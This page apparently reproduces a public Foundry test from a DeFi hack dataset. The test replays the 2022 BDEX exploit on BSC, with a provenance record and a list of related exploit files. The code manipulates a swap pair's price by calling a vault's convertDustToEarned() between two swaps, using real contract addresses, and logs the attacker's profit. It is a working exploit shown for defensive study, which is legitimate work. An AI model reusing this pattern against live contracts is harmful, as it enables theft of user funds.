Public reproduction file
src/test/2022-11/BDEX_exp.sol
Public reproduction file for dataset entry BDEX.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED3pragma solidity ^0.8.10;5import "forge-std/Test.sol";6import "./../interface.sol";8// @Analysis9// https://twitter.com/BeosinAlert/status/158857914383034368310// TX11// https://bscscan.com/tx/0xe7b7c974e51d8bca3617f927f86bf907a25991fe654f457991cbf656b190fe9413interface BvaultsStrategy {14 function convertDustToEarned() external;15}17interface BPair {18 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;19 function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);20}22contract ContractTest is Test {23 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);24 IERC20 BDEX = IERC20(0x7E0F01918D92b2750bbb18fcebeEDD5B94ebB867);25 BvaultsStrategy vaultsStrategy = BvaultsStrategy(0xB2B1DC3204ee8899d6575F419e72B53E370F6B20);26 BPair Pair = BPair(0x5587ba40B8B1cE090d1a61b293640a7D86Fc4c2D);28 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);30 function setUp() public {31 // the ankr rpc maybe dont work , please use QuickNode32 cheats.createSelectFork("bsc", 22_629_431);33 }35 function testExploit() public {36 address(WBNB).call{value: 34 ether}("");37 uint256 amountin = WBNB.balanceOf(address(this));38 WBNB.transfer(address(Pair), amountin);39 (uint256 BDEXReserve, uint256 WBNBReserve,) = Pair.getReserves();40 uint256 amountout = (998 * amountin * BDEXReserve) / (1000 * WBNBReserve + 998 * amountin);41 Pair.swap(amountout, 0, address(this), "");42 vaultsStrategy.convertDustToEarned();43 uint256 amountBDEX = BDEX.balanceOf(address(this));44 BDEX.transfer(address(Pair), amountBDEX);45 (uint256 BDEXReserve1, uint256 WBNBReserve1,) = Pair.getReserves();46 uint256 amountWBNB = (998 * amountBDEX * WBNBReserve1) / (1000 * BDEXReserve1 + 998 * amountBDEX);47 Pair.swap(0, amountWBNB, address(this), "");48 address(WBNB).call(abi.encodeWithSignature("withdraw(uint256)", 34 * 1e18));50 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);51 }53 receive() external payable {}54}Analysis
Dataset entry
Public Foundry test for “BDEX” (2022-11-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
- src/test/2022-11/AUR_exp.solSame month in the dataset · 105 lines
- src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
- src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
- src/test/2022-11/Kashi_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
- src/test/2022-11/MEV_0ad8_exp.solSame month in the dataset · 66 lines
- src/test/2022-11/MooCAKECTX_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/NUM_exp.solSame month in the dataset · 72 lines
- src/test/2022-11/Polynomial_exp.solSame month in the dataset · 98 lines
- src/test/2022-11/SDAO_exp.solSame month in the dataset · 109 lines
- src/test/2022-11/SEAMAN_exp.solSame month in the dataset · 71 lines
- src/test/2022-11/SheepFarm_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/UEarnPool_exp.solSame month in the dataset · 131 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- BDEX
- Path
- src/test/2022-11/BDEX_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 88515c9128b1370c0f0c69c9d5a9368fe68be676
- Language
- Solidity
- Size
- 55 lines
- Date
- 2022-11-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-11/BDEX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 88515c9128b1370c0f0c69c9d5a9368fe68be676, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.